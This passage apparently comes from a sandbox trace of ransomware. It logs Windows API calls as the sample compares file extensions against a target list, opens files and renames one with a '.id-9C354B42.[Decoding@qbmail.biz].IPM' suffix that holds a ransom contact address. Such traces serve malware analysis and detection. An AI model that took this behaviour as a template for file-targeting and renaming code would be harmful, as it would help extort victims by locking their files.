returned 61 [0077.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.239] lstrlenW (lpString=".doc") returned 4 [0077.239] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0077.239] lstrlenW (lpString=".docx") returned 5 [0077.239] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0077.240] lstrlenW (lpString=".pdf") returned 4 [0077.240] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0077.240] lstrlenW (lpString=".xls") returned 4 [0077.240] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0077.240] lstrlenW (lpString=".xlsx") returned 5 [0077.240] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0077.240] lstrlenW (lpString=".ppt") returned 4 [0077.240] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0077.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.240] lstrlenW (lpString=".zip") returned 4 [0077.240] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0077.240] lstrlenW (lpString=".rar") returned 4 [0077.240] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0077.240] lstrlenW (lpString=".bz2") returned 4 [0077.240] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0077.240] lstrlenW (lpString=".7z") returned 3 [0077.240] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0077.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.240] lstrlenW (lpString=".dbf") returned 4 [0077.240] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0077.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.240] lstrlenW (lpString=".1cd") returned 4 [0077.240] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0077.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.240] lstrlenW (lpString=".jpg") returned 4 [0077.241] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.241] lstrlenW (lpString=".doc") returned 4 [0077.241] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0077.241] lstrlenW (lpString=".docx") returned 5 [0077.241] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0077.241] lstrlenW (lpString=".pdf") returned 4 [0077.241] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString=".xls") returned 4 [0077.241] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString=".xlsx") returned 5 [0077.241] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0077.241] lstrlenW (lpString=".ppt") returned 4 [0077.241] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.241] lstrlenW (lpString=".zip") returned 4 [0077.241] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString=".rar") returned 4 [0077.241] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0077.241] lstrlenW (lpString=".bz2") returned 4 [0077.241] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0077.241] lstrlenW (lpString=".7z") returned 3 [0077.242] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0077.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.242] lstrlenW (lpString=".dbf") returned 4 [0077.242] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0077.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.242] lstrlenW (lpString=".1cd") returned 4 [0077.242] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0077.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0077.242] lstrlenW (lpString=".jpg") returned 4 [0077.242] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0077.242] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0077.242] lstrlenW (lpString="boxed-correct.avi") returned 17 [0077.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.205] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=89600) returned 1 [0078.205] CloseHandle (hObject=0x1f8) returned 1 [0078.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0078.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.206] lstrlenW (lpString=".doc") returned 4 [0078.206] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".docx") returned 5 [0078.206] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.206] lstrlenW (lpString=".pdf") returned 4 [0078.206] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".xls") returned 4 [0078.206] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".xlsx") returned 5 [0078.206] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.206] lstrlenW (lpString=".ppt") returned 4 [0078.206] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.206] lstrlenW (lpString=".zip") returned 4 [0078.206] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".rar") returned 4 [0078.206] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".bz2") returned 4 [0078.206] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.206] lstrlenW (lpString=".7z") returned 3 [0078.206] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.206] lstrlenW (lpString=".dbf") returned 4 [0078.207] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.207] lstrlenW (lpString=".1cd") returned 4 [0078.207] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.207] lstrlenW (lpString=".jpg") returned 4 [0078.207] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.207] lstrlenW (lpString=".doc") returned 4 [0078.207] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.207] lstrlenW (lpString=".docx") returned 5 [0078.207] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.207] lstrlenW (lpString=".pdf") returned 4 [0078.207] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.207] lstrlenW (lpString=".xls") returned 4 [0078.207] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.207] lstrlenW (lpString=".xlsx") returned 5 [0078.207] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.208] lstrlenW (lpString=".ppt") returned 4 [0078.208] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.208] lstrlenW (lpString=".zip") returned 4 [0078.208] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.208] lstrlenW (lpString=".rar") returned 4 [0078.208] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.208] lstrlenW (lpString=".bz2") returned 4 [0078.208] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.208] lstrlenW (lpString=".7z") returned 3 [0078.208] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.208] lstrlenW (lpString=".dbf") returned 4 [0078.208] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.208] lstrlenW (lpString=".1cd") returned 4 [0078.208] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0078.208] lstrlenW (lpString=".jpg") returned 4 [0078.208] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.209] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0078.209] lstrlenW (lpString="join.avi") returned 8 [0078.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.209] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=222208) returned 1 [0078.209] CloseHandle (hObject=0x1f8) returned 1 [0078.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0078.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.210] lstrlenW (lpString=".doc") returned 4 [0078.210] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.210] lstrlenW (lpString=".docx") returned 5 [0078.210] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.210] lstrlenW (lpString=".pdf") returned 4 [0078.210] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.210] lstrlenW (lpString=".xls") returned 4 [0078.210] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.210] lstrlenW (lpString=".xlsx") returned 5 [0078.210] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.210] lstrlenW (lpString=".ppt") returned 4 [0078.210] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.211] lstrlenW (lpString=".zip") returned 4 [0078.211] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.211] lstrlenW (lpString=".rar") returned 4 [0078.211] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.211] lstrlenW (lpString=".bz2") returned 4 [0078.211] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.211] lstrlenW (lpString=".7z") returned 3 [0078.211] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.211] lstrlenW (lpString=".dbf") returned 4 [0078.211] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.211] lstrlenW (lpString=".1cd") returned 4 [0078.211] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.211] lstrlenW (lpString=".jpg") returned 4 [0078.211] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.212] lstrlenW (lpString=".doc") returned 4 [0078.212] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.212] lstrlenW (lpString=".docx") returned 5 [0078.212] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.212] lstrlenW (lpString=".pdf") returned 4 [0078.212] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.212] lstrlenW (lpString=".xls") returned 4 [0078.212] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.212] lstrlenW (lpString=".xlsx") returned 5 [0078.212] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.212] lstrlenW (lpString=".ppt") returned 4 [0078.212] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.212] lstrlenW (lpString=".zip") returned 4 [0078.212] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.213] lstrlenW (lpString=".rar") returned 4 [0078.213] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.213] lstrlenW (lpString=".bz2") returned 4 [0078.213] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.213] lstrlenW (lpString=".7z") returned 3 [0078.213] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.213] lstrlenW (lpString=".dbf") returned 4 [0078.213] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.213] lstrlenW (lpString=".1cd") returned 4 [0078.213] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0078.213] lstrlenW (lpString=".jpg") returned 4 [0078.213] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.213] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0078.214] lstrlenW (lpString="split.avi") returned 9 [0078.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.214] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=194048) returned 1 [0078.214] CloseHandle (hObject=0x1f8) returned 1 [0078.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0078.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.215] lstrlenW (lpString=".doc") returned 4 [0078.215] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.215] lstrlenW (lpString=".docx") returned 5 [0078.215] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.215] lstrlenW (lpString=".pdf") returned 4 [0078.215] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.215] lstrlenW (lpString=".xls") returned 4 [0078.215] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.216] lstrlenW (lpString=".xlsx") returned 5 [0078.216] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.216] lstrlenW (lpString=".ppt") returned 4 [0078.216] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.216] lstrlenW (lpString=".zip") returned 4 [0078.216] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.216] lstrlenW (lpString=".rar") returned 4 [0078.216] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.216] lstrlenW (lpString=".bz2") returned 4 [0078.216] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.216] lstrlenW (lpString=".7z") returned 3 [0078.216] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.216] lstrlenW (lpString=".dbf") returned 4 [0078.216] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.217] lstrlenW (lpString=".1cd") returned 4 [0078.217] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.217] lstrlenW (lpString=".jpg") returned 4 [0078.217] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.217] lstrlenW (lpString=".doc") returned 4 [0078.217] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.217] lstrlenW (lpString=".docx") returned 5 [0078.217] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.217] lstrlenW (lpString=".pdf") returned 4 [0078.217] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.217] lstrlenW (lpString=".xls") returned 4 [0078.217] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.217] lstrlenW (lpString=".xlsx") returned 5 [0078.217] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.217] lstrlenW (lpString=".ppt") returned 4 [0078.218] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.218] lstrlenW (lpString=".zip") returned 4 [0078.218] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.218] lstrlenW (lpString=".rar") returned 4 [0078.218] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.218] lstrlenW (lpString=".bz2") returned 4 [0078.218] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.218] lstrlenW (lpString=".7z") returned 3 [0078.218] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.218] lstrlenW (lpString=".dbf") returned 4 [0078.219] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.219] lstrlenW (lpString=".1cd") returned 4 [0078.219] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0078.219] lstrlenW (lpString=".jpg") returned 4 [0078.219] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.219] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0078.219] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0078.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.220] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1600388) returned 1 [0078.220] CloseHandle (hObject=0x1f8) returned 1 [0078.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0078.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.221] lstrlenW (lpString=".doc") returned 4 [0078.221] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString=".docx") returned 5 [0078.221] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.221] lstrlenW (lpString=".pdf") returned 4 [0078.221] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString=".xls") returned 4 [0078.221] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString=".xlsx") returned 5 [0078.221] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.221] lstrlenW (lpString=".ppt") returned 4 [0078.221] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.221] lstrlenW (lpString=".zip") returned 4 [0078.221] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString=".rar") returned 4 [0078.221] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.221] lstrlenW (lpString=".bz2") returned 4 [0078.221] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString=".7z") returned 3 [0078.222] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.222] lstrlenW (lpString=".dbf") returned 4 [0078.222] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.222] lstrlenW (lpString=".1cd") returned 4 [0078.222] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.222] lstrlenW (lpString=".jpg") returned 4 [0078.222] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0078.222] lstrlenW (lpString=".doc") returned 4 [0078.222] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString=".docx") returned 5 [0078.222] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0078.222] lstrlenW (lpString=".pdf") returned 4 [0078.222] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString=".xls") returned 4 [0078.222] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.222] lstrlenW (lpString=".xlsx") returned 5 [0078.222] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0078.222] lstrlenW (lpString=".ppt") returned 4 [0078.222] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.223] lstrlenW 